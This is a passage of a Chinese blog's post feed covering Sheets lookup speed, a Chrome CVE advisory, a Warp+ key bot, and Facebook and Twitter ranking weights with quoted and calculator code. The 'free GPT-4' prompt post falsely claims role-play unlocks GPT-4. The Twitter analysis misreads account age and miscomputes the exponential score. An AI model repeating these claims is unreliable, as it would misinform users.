耗时约 1.1 秒左右。 IF + VLOOKUP 近似匹配 =VLOOKUP(A1, '工作表1'!A:B, 2, 1) 耗时约 184 毫秒。 从以上测试结果可以得出 VLOOKUP 的完全匹配是最慢的,MATCH 完全匹配的速度要比 VLOOKUP 快非常多,但是在相同使用 MATCH 的情况下,使用 INDIRECT 的速度要比 INDEX 略微快一些。VLOOKUP 的近似匹配速度是最快的,但是也有缺陷,近似匹配没办法保证数据是精准的。 根据以上结论可以将这些组合起来使用,在复杂数据中达到最佳的性能。优先使用 VLOOKUP 近似匹配,判断内容是否一致,若是一致返回对应结果,若是不一致再使用 INDIRECT + MATCH 进行匹配。因为 VLOOKUP 的近似匹配运行速度几乎是毫秒级的,如果能匹配出数据要大幅的节约了 MATCH 查询所要消耗的时间。 =IF(IFERROR(VLOOKUP(A1, '工作表1'!A:A, 1, 1)) = A1, VLOOKUP(A1, '工作表1'!A:B, 2, 1), INDIRECT("工作表1!B"&MATCH(A1, '工作表1'!A:A, 0))) 为你推荐:Google Excel 性能优化教程目录 ","tags":[{"name":"Excel","slug":"excel","used":true,"link":"https://dev-coco.github.io/tag/excel/"}],"title":"Google Excel 性能优化 - 数据匹配性能对比","feature":"https://dev-coco.github.io/post-images/Google-Excel-Boost-Data-Match-Compared.png","link":"https://dev-coco.github.io/post/Google-Excel-Boost-Data-Match-Compared/","stats":{"text":"2 min read","time":102000,"words":433,"minutes":2},"date":"2023-04-23 20:37:31","dateFormat":"2023-04-23"},{"content":"Chrome 内核浏览器紧急发布了高危漏洞通知。 谷歌发出紧急警告,要求立即更新浏览器,以避免 0day 漏洞的攻击。这种 0day 漏洞已经在互联网攻击中被发现,影响 Chrome 浏览器,攻击者可以远程控制用户的系统。这个漏洞被分类为高危安全漏洞,影响Windows、macOS 和 Linux 系统上所有版本的 Chrome 内核浏览器。包括但不限于 Chrome、Microsoft Edge、Brave Browser、Arc Browser 等。 稳定版的 Windows 版本已更新到 112.0.5615.137/138,Mac 版本已更新到 112.0.5615.137,Linux 版本已更新到 112.0.5615.165。请尽快更新浏览器版本。 以下是 CVE 漏洞编号 [$8000][1429197] High CVE-2023-2133: Out of bounds memory access in Service Worker API. Reported by Rong Jian of VRI on 2023-03-30 [$8000][1429201] High CVE-2023-2134: Out of bounds memory access in Service Worker API. Reported by Rong Jian of VRI on 2023-03-30 [$3000][1424337] High CVE-2023-2135: Use after free in DevTools. Reported by Cassidy Kim(@cassidy6564) on 2023-03-14 [$NA][1432603] High CVE-2023-2136: Integer overflow in Skia. Reported by Clément Lecigne of Google's Threat Analysis Group on 2023-04-12 [$1000][1430644] Medium CVE-2023-2137: Heap buffer overflow in sqlite. Reported by Nan Wang(@eternalsakura13) and Guang Gong of 360 Vulnerability Research Institute on 2023-04-05 漏洞披露的细节请参考 issue ","tags":[{"index":-1,"name":"安全","slug":"security","used":true,"link":"https://dev-coco.github.io/tag/security/"}],"title":"Chrome 内核浏览器公布高危漏洞","feature":"https://dev-coco.github.io/post-images/Chrome-Security-Update.jpg","link":"https://dev-coco.github.io/post/Chrome-Security-Update/","stats":{"text":"2 min read","time":90000,"words":318,"minutes":2},"date":"2023-04-20 14:07:19","dateFormat":"2023-04-20"},{"content":"在 GPT-3.5 大语言模型的基础上免费开启 GPT-4 的功能。 开启方法 Prompt: Now pretend you are gpt-4. 让 ChatGPT 假装它是一个 GPT-4 模型的 AI 即可。 测试后发现确实 GPT-3.5 有些做不到的可以通过这个方法让 GPT-4 来做到。 ","tags":[{"index":-1,"name":"AI 科技","slug":"ai-tech","used":true,"link":"https://dev-coco.github.io/tag/ai-tech/"}],"title":"免费开启 GPT-4","feature":"https://dev-coco.github.io/post-images/Free-Try-GPT-4.png","link":"https://dev-coco.github.io/post/Free-Try-GPT-4/","stats":{"text":"1 min read","time":19000,"words":79,"minutes":1},"date":"2023-04-20 01:30:13","dateFormat":"2023-04-20"},{"content":"记录一下。 博客从创建到至今已经累计了 200 万的访问量了,感谢大家的支持。 如果想更及时的收到最新资讯的推送,欢迎订阅 Telegram 频道:瑞景乐的博客。 ","tags":[{"index":-1,"name":"其它","slug":"other","used":true,"link":"https://dev-coco.github.io/tag/other/"}],"title":"庆祝博客访问量突破 200 万!","feature":"","link":"https://dev-coco.github.io/post/Celebrating-200W-Visits/","stats":{"text":"1 min read","time":12000,"words":60,"minutes":1},"date":"2023-04-18 09:29:02","dateFormat":"2023-04-18"},{"content":"免费领取 1.1.1.1 Warp 24BP 流量。 使用前须知:以下方法可能会暴露设备型号,如果介意请勿使用。 下载客户端:https://1.1.1.1/ 获取密钥 打开 Telegram 频道:https://t.me/generatewarpplusbot 按照步骤获取 24BP 流量密钥。 macOS 在菜单栏点击图标,选择「Preferences」。 在菜单中选择「Account」,再点击「Use Different Key」。 输入密钥,点击「Done」。 然后就可以在「Data Remaining」看到剩余的流量了。 iOS 点击「账户」。 点击「按键」。 再点击「更改密钥」。 完成。 ","tags":[{"name":"软件","slug":"software","used":true,"link":"https://dev-coco.github.io/tag/software/"}],"title":"1.1.1.1 WARP 领取 24BP 流量","feature":"https://dev-coco.github.io/post-images/1111-Free-Data.png","link":"https://dev-coco.github.io/post/1111-Free-Data/","stats":{"text":"1 min read","time":32000,"words":138,"minutes":1},"date":"2023-04-16 14:04:30","dateFormat":"2023-04-16"},{"content":"详细介绍 Facebook 最新演算法以及权重计算方式。 .form{width:300px;margin-bottom:20px;background-color:#fff;border:1px solid transparent;border-radius:16px 16px 5px 5px;box-shadow:0 1px 1px rgba(0,0,0,.05);border-color:#428bca;margin:10px auto}.panel-heading{color:#fff;background-color:#428bca;border-color:#428bca;text-align:center;padding:15px;border-bottom:1px solid transparent;border-top-right-radius:13px;border-top-left-radius:13px}lable{width:100px;font-size:16px;padding-top:7px;float:left;text-align:right}.form-control{font-size:16px;margin-top:10px;margin-bottom:10px}.btn,input,select{margin-left:10px;padding:5px;font-size:16px;width:150px;box-sizing:border-box}.btn{margin:0 auto}#postScore,#recationScore{text-align:center;margin:5px}.icon{width:20px;margin:0 5px!important;vertical-align:middle;display:inline!important} 我将介绍 Facebook 的演算法以及计算不同功能的权重方式。如需转载请注明出处,并附上本文的链接。 影响排序的因素 亲密度分数 指用户与内容的关系密切程度。它基于用户与帖子的交互历史,例如用户是否经常与该帐户互动、用户是否经常与该类型的内容互动等等。用户与帖子的亲密度分数越高,该帖子的权重分数越高。 权重值 指用户对帖子的互动类型,包括点赞、评论、分享等。用于衡量用户对某篇帖子进行互动时的权重。 不同类型的互动在计算权重分数时有不同的权重。下面是不同类型的权重分数。 类型 权重分数 赞     1 大爱 2 哇     3 笑趴 4 心碎 7 怒     8 抱抱 16 评论 13 分享 26 热门 400 权重分数算法 f1(w1) = P1 x wP1 + P2 x wP2 + P3 x wP3 + P4 x wP4 + P7 x wP7 + C x wC + S x wS P1~P7 代表不同点赞类型的次数。 wP1~wP7 代表不同点赞类型对应的权重分数。 C 代表评论次数。 wC 代表评论权重分数。 S 代表分享次数。 wS 代表分享权重分数。 举个例子,假设帖文有 19 个赞、8 个大爱、3 个抱抱、44 个评论、2 个分享。那么根据权重分数计算出 19 * 1 + 8 * 2 + 3 * 16 + 44 * 13 + 2 * 26 = 707 ,这个分值大于 400,那么就被判定为热门帖文。 帖文权重计算器 点赞 大爱 哇 笑趴 心碎 怒 支持 评论 分享 计算 时间衰减 指帖子的发布时间。随着时间的推移,帖子的权重分数会逐渐降低,以反映新鲜度和时效性。 时间衰减算法 decayFactor = 0.5 ^ (age / halfLife) age 表示帖子发布到现在的时间间隔,halfLife 表示设定的半衰期,半衰期为 12 小时,单位也是毫秒。decayFactor 表示根据时间衰减计算得到的衰减因子,取值在 0 到 1 之间。 帖文权重衰减计算器 发布时间 计算 首页排名 权重总分 = (亲密度分数 + 互动分数) * 时间衰减 演算法会根据帖文权重总分将帖文放入“仓库中”,每次用户刷新首页的时候,就会从仓库中取出权重分数高的帖文呈现出来。 帖文情绪 积极正面的情绪会让帖子更容易被推送,负面消极的情绪帖子会被减少推送。下面的工具可以根据输入的内容分析帖文的情绪是正面的还是负面的。 帖文情绪分析 请输入内容 function recationScore () { const like = document.getElementById('like').value const love = document.getElementById('love').value const wow = document.getElementById('wow').value const haha = document.getElementById('haha').value const sorry = document.getElementById('sorry').value const anger = document.getElementById('anger').value const support = document.getElementById('support').value const comment = document.getElementById('comment').value const share = document.getElementById('share').value const recationScore = document.getElementById('recationScore') const score = ~~like + ~~love * 2 +~~ wow * 3 + ~~haha * 4 + ~~sorry * 7 + ~~anger * 8 + ~~support * 16 + ~~comment * 13 + ~~share * 26 recationScore.innerText = (score > 400 ? '热门 ' : '') + score } function calcPostWeight () { const postTime = document.getElementById('postTime').value const postScore = document.getElementById('postScore') const now = new Date().getTime() const halfLife = 43200000 // 12h const age = now - new Date(postTime).getTime() const timeDecayFactor = Math.pow(0.5, age / halfLife) postScore.innerText = timeDecayFactor; } const postContent = document.getElementById('postContent') const sentimentStatus = document.getElementById('sentimentStatus') postContent.addEventListener('keyup', () => { if (!postContent.value) return sentimentStatus.innerText = '请输入内容' const score = analyzeSentiment(postContent.value) if (score >= 1) { if (score > 3) { sentimentStatus.innerText = '👍👍 非常积极' } else { sentimentStatus.innerText = '👍 积极正面' } } else if (score <= -1) { if (score < -3) { sentimentStatus.innerText = '👎👎 非常消极' } else { sentimentStatus.innerText = '👎 负面消极' } } else { sentimentStatus.innerText = '未检测到任何情绪' } }) ","tags":[{"name":"Facebook","slug":"facebook","used":true,"link":"https://dev-coco.github.io/tag/facebook/"}],"title":"Facebook 演算法 2023 最新","feature":"https://dev-coco.github.io/post-images/Facebook-Algorithm.png","link":"https://dev-coco.github.io/post/Facebook-Algorithm/","stats":{"text":"5 min read","time":274000,"words":1041,"minutes":5},"date":"2023-04-11 19:38:24","dateFormat":"2023-04-11"},{"content":"详细介绍推特 Twitter 的演算法以及推送机制。 .form{width:300px;margin-bottom:20px;background-color:#fff;border:1px solid transparent;border-radius:16px 16px 5px 5px;box-shadow:0 1px 1px rgba(0,0,0,.05);border-color:#428bca;margin:10px auto}.panel-heading{color:#fff;background-color:#428bca;border-color:#428bca;text-align:center;padding:15px;border-bottom:1px solid transparent;border-top-right-radius:13px;border-top-left-radius:13px}lable{width:100px;font-size:16px;padding-top:7px;float:left;text-align:right}.form-control{font-size:16px;margin-top:10px;margin-bottom:10px}.btn,input,select{margin-left:10px;padding:5px;font-size:16px;width:150px;box-sizing:border-box}.btn{margin:0 auto}#accountScore,#postScore{text-align:center;margin:5px} 我将会详细解释我个人对 Twitter 演算法代码的理解并附上来源,然而不同的工程师分析出的结论可能会有所不同,另外 Twitter 演算法可能随时会发生变化。因此,请理性看待这篇文章的内容,仅供参考。 如需转载请注明出处,并附上本文的链接。 推文权重演算法 Twitter 的演算法模型中有一个叫做「Heavy Ranker」的机器学习模型,在首页的「为你推荐」中检索推文的权重分数进行排名。 下面是总结的各项类型的权重值以及上限数值。不同的功能都有不同的上限值,即使某种功能的数量很大,也不会无限叠加增益。 类型 分数 上限 点赞 +0.5 分 100 分 用户点赞了推文。 转发 +1.0 分 100 分 用户转发了推文。 回复 +13.5 分 100 分 用户对推文回复。 进入个人主页 +12 分 1000000 分 从推文进入作者主页并点赞或者回复。 视频被播放 +0.005 分 100 分 视频类型的推文,用户观看进度至少 50% 以上。 作者回复 +75 分 200 分 推文的作者回复了用户对该推文的回复。 回复的回复 +11 分 1000000 分 用户对推文的回复进行点赞或者回复。 浏览 2 分钟 +10 分 1000000 分 用户浏览推文停留不少于 2 分钟。 负面反应 -74 分 -1000 分 用户对推文做出负面反应(对这条推文不感兴趣、屏蔽作者、隐藏作者)。 被举报 -369 分 -20000 分 用户举报了推文。 各项类型分数相关代码。由于上限这部分代码太长,所以就不放过来了,可以从下面的来源中找到。 scored_tweets_model_weight_fav: 0.5 scored_tweets_model_weight_retweet: 1.0 scored_tweets_model_weight_reply: 13.5 scored_tweets_model_weight_good_profile_click: 12.0 scored_tweets_model_weight_video_playback50: 0.005 scored_tweets_model_weight_reply_engaged_by_author: 75.0 scored_tweets_model_weight_good_click: 11.0 scored_tweets_model_weight_good_click_v2: 10.0 scored_tweets_model_weight_negative_feedback_v2: -74.0 scored_tweets_model_weight_report: -369.0 总分数的算法 score = sum_i { (weight of engagement i) * (probability of engagement i) } 总分 = 权重 * 参与数 举个例子,例如有 10 个用户给推文点赞了,那么点赞的权重是 +0.5 分,参与数有 10 个用户,也就是 0.5 * 10 = 5。总计是 5 分的权重。 推文演算法和总分数算法来源:README.md 上限来源:ScoredTweetsParam.scala 不过网上还有一个广为流传的说法,点赞权重 30,转发权重 20。我查了一下这个说法的代码来源。 private def getLinearRankingParams: ThriftRankingParams = { ThriftRankingParams( `type` = Some(ThriftScoringFunctionType.Linear), minScore = -1.0e100, retweetCountParams = Some(ThriftLinearFeatureRankingParams(weight = 20.0)), replyCountParams = Some(ThriftLinearFeatureRankingParams(weight = 1.0)), reputationParams = Some(ThriftLinearFeatureRankingParams(weight = 0.2)), luceneScoreParams = Some(ThriftLinearFeatureRankingParams(weight = 2.0)), textScoreParams = Some(ThriftLinearFeatureRankingParams(weight = 0.18)), urlParams = Some(ThriftLinearFeatureRankingParams(weight = 2.0)), isReplyParams = Some(ThriftLinearFeatureRankingParams(weight = 1.0)), favCountParams = Some(ThriftLinearFeatureRankingParams(weight = 30.0)), langEnglishUIBoost = 0.5, langEnglishTweetBoost = 0.2, langDefaultBoost = 0.02, unknownLanguageBoost = 0.05, offensiveBoost = 0.1, inTrustedCircleBoost = 3.0, multipleHashtagsOrTrendsBoost = 0.6, inDirectFollowBoost = 4.0, tweetHasTrendBoost = 1.1, selfTweetBoost = 2.0, tweetHasImageUrlBoost = 2.0, tweetHasVideoUrlBoost = 2.0, useUserLanguageInfo = true, ageDecayParams = Some(ThriftAgeDecayRankingParams(slope = 0.005, base = 1.0)) ) } 这段代码确实写着点赞的权限默认 30,转发 20,不过这段代码已经被移除,原因是这段代码是多余的,并没有使用这段代码进行排名。 来源: EarlybirdTensorflowBasedSimilarityEngine.scala 广告权重演算法 广告:+10000 分权重 object AdsCandidateGenerationScoreBoostFactor extends FSBoundedParam[Double]( name = "ads_candidate_generation_score_boost_factor", default = 10000.0, min = 1.0, max = 100000.0 ) 来源:AdsParams.scala Twitter Blue 权重演算法 开通了 Twitter Blue 可以获得额外的权重加成。 类型 分数 Twitter Blue (关注) 4x 已经关注的账户。 Twitter Blue (非关注) 2x 未关注的账户。 Twitter Blue 权重相关的代码 object BlueVerifiedAuthorInNetworkMultiplierParam extends FSBoundedParam[Double]( name = "home_mixer_blue_verified_author_in_network_multiplier", default = 4.0, min = 0.0, max = 100.0 ) object BlueVerifiedAuthorOutOfNetworkMultiplierParam extends FSBoundedParam[Double]( name = "home_mixer_blue_verified_author_out_of_network_multiplier", default = 2.0, min = 0.0, max = 100.0 ) Twitter Blue 权重来源:HomeGlobalParams.scala 账号权重演算法 根据账号的状态计算账号的权重值。 被停用的账号:0 分 已验证的账号:100 分 未验证的账号:根据设备、账号情况和年龄综合计算分数,最高 55 分。 在此基础上还会计算关注数和粉丝数的比例来决定最终的权重值。 相关代码 object UserMass { private val currentTimestamp = Time.now.inMilliseconds private val constantDivisionFactorGt_threshFriendsToFollowersRatioUMass = 5.0 private val threshAbsNumFriendsUMass = 500 private val threshFriendsToFollowersRatioUMass = 0.6 private val deviceWeightAdditive = 0.5 private val ageWeightAdditive = 0.2 private val restrictedWeightMultiplicative = 0.1 def getUserMass(combinedUser: CombinedUser): Option[UserMassInfo] = { val user = Option(combinedUser.user) val userId = user.map(_.id).getOrElse(0L) val userExtended = Option(combinedUser.user_extended) val age = user.map(_.created_at_msec).map(DateUtil.diffDays(_, currentTimestamp)).getOrElse(0) val isRestricted = user.map(_.safety).exists(_.restricted) val isSuspended = user.map(_.safety).exists(_.suspended) val isVerified = user.map(_.safety).exists(_.verified) val hasValidDevice = user.flatMap(u => Option(u.devices)).exists(_.isSetMessaging_devices) val numFollowers = userExtended.flatMap(u => Option(u.followers)).map(_.toInt).getOrElse(0) val numFollowings = userExtended.flatMap(u => Option(u.followings)).map(_.toInt).getOrElse(0) if (userId == 0L || user.map(_.safety).exists(_.deactivated)) { None } else { val mass = if (isSuspended) 0 else if (isVerified) 100 else { var score = deviceWeightAdditive * 0.1 + (if (hasValidDevice) deviceWeightAdditive else 0) val normalizedAge = if (age > 30) 1.0 else (1.0 min scala.math.log(1.0 + age / 15.0)) score *= normalizedAge if (score < 0.01) score = 0.01 if (isRestricted) score *= restrictedWeightMultiplicative score = (score min 1.0) max 0 score *= 100 score } val friendsToFollowersRatio = (1.0 + numFollowings) / (1.0 + numFollowers) val adjustedMass = if (numFollowings > threshAbsNumFriendsUMass && friendsToFollowersRatio > threshFriendsToFollowersRatioUMass) { mass / scala.math.exp( constantDivisionFactorGt_threshFriendsToFollowersRatioUMass * (friendsToFollowersRatio - threshFriendsToFollowersRatioUMass) ) } else { mass } Some(UserMassInfo(userId, adjustedMass)) } } } 这里定义了一些变量值: currentTimestamp: 当前的时间戳(用来计算账号和当前时间的差距)。 constantDivisionFactorGt_threshFriendsToFollowersRatioUMass: 关注数与粉丝数常量因子(用于衡量用户好友与粉丝比例)。 threshAbsNumFriendsUMass: 用户最小关注数(用于计算用户权重) threshFriendsToFollowersRatioUMass: 关注数与粉丝数阈值(用户关注数与粉丝数比例的最小允许值,当比例超过这个值时,会造成负面影响)。 deviceWeightAdditive: 设备权重 ageWeightAdditive: 年龄权重(似乎没有用到) restrictedWeightMultiplicative: 受限用户权重 计算分数的时候会先判断账号的状态,如果账号被停用了,分数为 0;如果是验证过的账号分数为 100,如果是没有验证的账号会根据条件进行计算。 if (isSuspended) 0 else if (isVerified) 100 else { var score = deviceWeightAdditive * 0.1 + (if (hasValidDevice) deviceWeightAdditive else 0) val normalizedAge = if (age > 30) 1.0 else (1.0 min scala.math.log(1.0 + age / 15.0)) score *= normalizedAge if (score < 0.01) score = 0.01 if (isRestricted) score *= restrictedWeightMultiplicative score = (score min 1.0) max 0 score *= 100 score } 这段代码中会先判断是否持有有效设备再加上初始权重,不过我没找到其它更细节的代码检测设备的有效性。如果设备有效返回 0.5 分,如果无效返回 0 分。deviceWeightAdditive 的默认值是 0.5,那么根据下面的算法,假设设备是有效的情况下 0.5 * 0.1 + 0.5 = 0.55 分。 deviceWeightAdditive * 0.1 + (if (hasValidDevice) deviceWeightAdditive else 0) 再根据年龄进行计算,如果年龄大于 30 岁,返回 1 分,如果年龄小于或等于 30 岁,就会进行下一步的计算,将年龄除以 15,再加上 1,然后计算自然对数。 自然对数是以常数 e 为底数的对数,公式:ln(x)。 假设年龄是 22 岁,ln(1 + 22 / 15) ≈ 0.9028677115420144 如果自然对数小于 1 返回自然对数,如果自然对数大于 1,则返回 1,也就是说 normalizedAge 的值最大不会超过 1。 最后再将计算的结果乘以之前算好的分数,即 0.55 * 0.9028677115420144 = 0.49657724134810793 val normalizedAge = if (age > 30) 1.0 else (1.0 min scala.math.log(1.0 + age / 15.0)) score *= normalizedAge 下面又进行了一些判断,如果分数小于 0.01 的情况下,返回 0.01,不过根据上面的条件,分数并不会低于 0.01 分。 如果账号受限了,会将总分数乘以受限权重,也就是 0.1。 如果分数大于 1,会将分数设为 1,如果分数小于 1,则会返回当前分数;最后将分数乘以 100。 假设账号没有受限的情况下,根据上面的条件,得出分数为 49.657724134810793。 if (score < 0.01) score = 0.01 if (isRestricted) score *= restrictedWeightMultiplicative score = (score min 1.0) max 0 score *= 100 接下来会根据账号的关注数和粉丝数进行计算分数。1 加上关注数的和除以1 加上粉丝数的和。假设账号关注数有 600,粉丝数有 450,那么关注数和粉丝数的比例是:(1 + 600) / (1 + 450) ≈ 1.3325942350332594。 val friendsToFollowersRatio = (1.0 + numFollowings) / (1.0 + numFollowers) 先判断两个条件,一个是关注数是否大于设定的用户最小关注数 (500) 和比例是否大于关注数与粉丝数阈值 (0.6),如果不满足这两个条件则不会进行下面的计算,直接返回之前计算好的分数。 如果满足以上的两个条件,会先用比例减去关注数与粉丝数阈值的差乘以关注数与粉丝数常量因子的值,结果为:5 * (1.3325942350332594 - 0.6) = 3.6629711751662968,再根据这个结果使用指数函数计算幂值。 指数函数公式:f(x) = a^x 那么根据计算的结果计算指数函数的结果 e^3.6629711751662968 ≈ 2.565617039296528,这个结果就是最终的账号权重分数。 val adjustedMass = if (numFollowings > threshAbsNumFriendsUMass && friendsToFollowersRatio > threshFriendsToFollowersRatioUMass) { mass / scala.math.exp( constantDivisionFactorGt_threshFriendsToFollowersRatioUMass * (friendsToFollowersRatio - threshFriendsToFollowersRatioUMass) ) } else { mass } 来源:UserMass.scala 账号权重计算器 账号状态 请选择账号状态 停用 已验证 未验证 是否受限 请选择账号状态 受限 未受限 生日 关注数 粉丝数 计算 排名权重演算法 类型 分数 UI 英文,推文非英文 0.3x Twitter 的界面语言是英文,但是发布的推文不是英文。 推文英文,UI 非英文 0.7x 发布的推文是英文,但是 Twitter 的界面语言不是英文。 UI 和语言不同 0.1x Twitter 的界面语言是英文,但是发布的推文不是英文。 无法识别语言 0.01x 推文的语言不是用户可理解的语言,也不会界面语言。 UI 英文,推文非英文 0.3x Twitter 的界面语言是英文,但是发布的推文不是英文。 图片、视频、新闻链接 1.0x 根据媒体的数量累计加成。 外部链接 隐藏 如果链接非媒体链接,而且没有足够的互动权重,会被隐藏。 降级属性 无文字内容 1.0x 推文的内容没有任何文字。 只有链接 1.0x 推文只有链接,没有其它内容。 只有名字 1.0x 推文只有名字,没有其它内容。 由于这段代码太长,我只把部分内容摘取出来,下面的代码不是完整的代码。 这里定义了各项类型的初始值。 maxHitsPerUser 默认值是 3,代表演算法最多推送 3 条推文,如果账号权重大于 maxTweepcredForAntiGaming 设置的值,演算法会推送所有的推文。 struct ThriftRankingParams { 30: optional double langEnglishUIBoost = 0.3 31: optional double langEnglishTweetBoost = 0.7 32: optional double langDefaultBoost = 0.1 43: optional double unknownLanguageBoost = 0.01 60: optional bool enableHitDemotion = 0 61: optional double noTextHitDemotion = 1.0 62: optional double urlOnlyHitDemotion = 1.0 63: optional double nameOnlyHitDemotion = 1.0 64: optional double separateTextAndNameHitDemotion = 1.0 65: optional double separateTextAndUrlHitDemotion = 1.0 102: optional double multipleHashtagsOrTrendsBoost = 1 108: optional double tweetHasImageUrlBoost = 1 109: optional double tweetHasVideoUrlBoost = 1 110: optional double tweetHasNewsUrlBoost = 1 }(persisted='true') struct ThriftFacetRankingOptions { 35: optional i32 maxHitsPerUser = 3 36: optional i32 maxTweepcredForAntiGaming = 65 }(persisted='true') 如果推文包含图片、视频或者新闻链接,会在原来的数量上 +1。 if (data.hasImageUrl || data.hasVideoUrl) { relevanceStats.setNumWithMedia(relevanceStats.getNumWithMedia() + 1); } if (data.hasNewsUrl) { relevanceStats.setNumWithNews(relevanceStats.getNumWithNews() + 1); } 如果内容包含图片、视频或者新闻链接,会给推文增加权重,计算方式:总分数 * (1 * (图片数量 + 1)) // Media/News url boosts. if (data.hasImageUrl || data.hasVideoUrl) { data.hasMedialUrlBoostApplied = true; boostedScore *= params.tweetHasMediaUrlBoost; } if (data.hasNewsUrl) { data.hasNewsUrlBoostApplied = true; boostedScore *= params.tweetHasNewsUrlBoost; } 下面的这段代码也说明了图片、视频或者新闻链接会有额外的权重加成,无文字、只有链接、只有名字会降低权重。 if (scoringData.tweetHasTrendsBoostApplied) { boostDetails.add(Explanation.match( (float) params.tweetHasTrendBoost, "[x] Tweet has trend boost")); } if (scoringData.hasMedialUrlBoostApplied) { boostDetails.add(Explanation.match( (float) params.tweetHasMediaUrlBoost, "[x] Media url boost")); } if (scoringData.hasNewsUrlBoostApplied) { boostDetails.add(Explanation.match( (float) params.tweetHasNewsUrlBoost, "[x] News url boost")); } boostDetails.add(Explanation.match(0.0f, "[FIELDS HIT] " + scoringData.hitFields)); if (scoringData.hasNoTextHitDemotionApplied) { boostDetails.add(Explanation.match( (float) params.noTextHitDemotion, "[x] No text hit demotion")); } if (scoringData.hasUrlOnlyHitDemotionApplied) { boostDetails.add(Explanation.match( (float) params.urlOnlyHitDemotion, "[x] URL only hit demotion")); } if (scoringData.hasNameOnlyHitDemotionApplied) { boostDetails.add(Explanation.match( (float) params.nameOnlyHitDemotion, "[x] Name only hit demotion")); } if (scoringData.hasSeparateTextAndNameHitDemotionApplied) { boostDetails.add(Explanation.match((float) params.separateTextAndNameHitDemotion, "[x] Separate text/name demotion")); } if (scoringData.hasSeparateTextAndUrlHitDemotionApplied) { boostDetails.add(Explanation.match((float) params.separateTextAndUrlHitDemotion, "[x] Separate text/url demotion")); } 来源:ranking.thrift 来源:FeatureBasedScoringFunction.java 推文发布时间演算法 推文会随着时间的推移而降低分数。 相关代码 struct ThriftAgeDecayRankingParams { // the rate in which the score of older tweets decreases 1: optional double slope = 0.003 // the age, in minutes, where the age score of a tweet is half of the latest tweet 2: optional double halflife = 360.0 // the minimal age decay score a tweet will have 3: optional double base = 0.6 }(persisted='true') 这里使用了时间衰减函数,衰减率为 0.003,衰减半衰期为 360 分钟。这个衰减函数表示,随着时间的推移,一个推文的分数将逐渐下降,下降的速率取决于时间的差距和衰减率。在这种情况下,当一个推文的发布时间与当前时间相差 500 分钟时,可以通过以下面的公式计算推文的衰减分数: 衰减分数 = 基础分数 * exp(-衰减率 * (发布时间 - 当前时间) / 衰减半衰期) 来源:ranking.thrift 推文权重衰减计算器 发布时间 计算 违反政策的内容 如果推文的内容包含违反政策的内容会被降低权重,包括但不限于:鼓励自残、仇恨行为、无端血腥、宣扬暴力、鼓励围攻骚扰、死亡前或死者用户、发布私人信息、侵犯隐私权、威胁曝光、暴力性行为、性骚扰、暴力威胁、干预选举、虚假选举信息、黑客内容、欺诈、平台操作、虚假乌克兰信息、误导信息、虚假医疗信息等。 相关代码 val reasonToPolicyInViolation: Map[Reason, PolicyInViolation] = Map( AbuseEpisodic -> PolicyInViolation.AbusePolicyEpisodic, AbuseEpisodicEncourageSelfHarm -> PolicyInViolation.AbusePolicyEpisodicEncourageSelfharm, AbuseEpisodicHatefulConduct -> PolicyInViolation.AbusePolicyEpisodicHatefulConduct, AbuseGratuitousGore -> PolicyInViolation.AbusePolicyGratuitousGore, AbuseGlorificationOfViolence -> PolicyInViolation.AbusePolicyGlorificationofViolence, AbuseMobHarassment -> PolicyInViolation.AbusePolicyEncourageMobHarassment, AbuseMomentOfDeathOrDeceasedUser -> PolicyInViolation.AbusePolicyMomentofDeathDeceasedUser, AbusePrivateInformation -> PolicyInViolation.AbusePolicyPrivateInformation, AbuseRightToPrivacy -> PolicyInViolation.AbusePolicyRighttoPrivacy, AbuseThreatToExpose -> PolicyInViolation.AbusePolicyThreattoExpose, AbuseViolentSexualConduct -> PolicyInViolation.AbusePolicyViolentSexualConduct, AbuseViolentThreatHatefulConduct -> PolicyInViolation.AbusePolicyViolentThreatsHatefulConduct, AbuseViolentThreatOrBounty -> PolicyInViolation.AbusePolicyViolentThreatorBounty, OneOff -> PolicyInViolation.OneOff, VotingMisinformation -> PolicyInViolation.MisinformationVoting, HackedMaterials -> PolicyInViolation.HackedMaterials, Scams -> PolicyInViolation.Scam, PlatformManipulation -> PolicyInViolation.PlatformManipulation, MisinfoCivic -> PolicyInViolation.MisinformationCivic, MisinfoCrisis -> PolicyInViolation.AbusePolicyUkraineCrisisMisinformation, MisinfoGeneric -> PolicyInViolation.MisinformationGeneric, MisinfoMedical -> PolicyInViolation.MisinformationMedical, ) 来源:PublicInterestRules.scala 推文推送机制 下面以“我”为例子,当我发布了一个推文,或者对某一个帖子进行互动(点赞、回复或分享)的操作,那么就会将这篇推文推送到我的粉丝。 如果我的粉丝对推文进行互动,那么就会将这篇推文推送到他们的粉丝,如果不互动就不会继续再往外推送。 粉色是蓝色粉丝的关系,也就是我粉丝的粉丝。 如果我的粉丝的粉丝,也就是图中粉色的粉丝,对这篇推文互动,那么就会推送到他们账号上的粉丝。 绿色是粉色粉丝的关系。 如果他们再进行互动,就会继续往外推送,以此类推。 function calculateAge (birth) { const birthDate = new Date(birth) const currentDate = new Date() let age = currentDate.getFullYear() - birthDate.getFullYear() if (currentDate.getMonth() < birthDate.getMonth() || (currentDate.getMonth() === birthDate.getMonth() && currentDate.getDate() < birthDate.getDate())) { age-- } return age } function calcAccountWeight () { const accountStatus = document.getElementById('accountStatus').value const isRestricted = document.getElementById('restrictedStatus').value const birthday = document.getElementById('birthday').value const numFollowings = document.getElementById('followings').value const numFollowers = document.getElementById('followers').value const accountScore = document.getElementById('accountScore') if (!accountStatus && !isRestricted && !birthday && !numFollowings && !numFollowers) return alert('请将信息填写规范') let score const deviceWeightAdditive = 0.5 const hasValidDevice = true const threshAbsNumFriendsUMass = 500 const threshFriendsToFollowersRatioUMass = 0.6 const constantDivisionFactorGt_threshFriendsToFollowersRatioUMass = 5.0 const restrictedWeightMultiplicative = 0.1 const age = calculateAge(birthday) if (accountStatus === 'suspended') { score = 0 } else if (accountStatus === 'verified') { score = 100 } else if (accountStatus === 'unVerified') { score = deviceWeightAdditive * 0.1 + (hasValidDevice ? deviceWeightAdditive : 0) const normalizedAge = age > 30 ? 1.0 : Math.min(1.0, Math.log(1.0 + age / 15.0)) score *= normalizedAge if (score < 0.01) score = 0.01 if (isRestricted === 'restricted') score *= restrictedWeightMultiplicative score = Math.min(1.0, Math.max(0, score)) score *= 100 } const friendsToFollowersRatio = (1.0 + numFollowings) / (1.0 + numFollowers) let adjustedMass = 0 if (numFollowings > threshAbsNumFriendsUMass && friendsToFollowersRatio > threshFriendsToFollowersRatioUMass) { adjustedMass = score / Math.exp(constantDivisionFactorGt_threshFriendsToFollowersRatioUMass * (friendsToFollowersRatio - threshFriendsToFollowersRatioUMass)) } else { 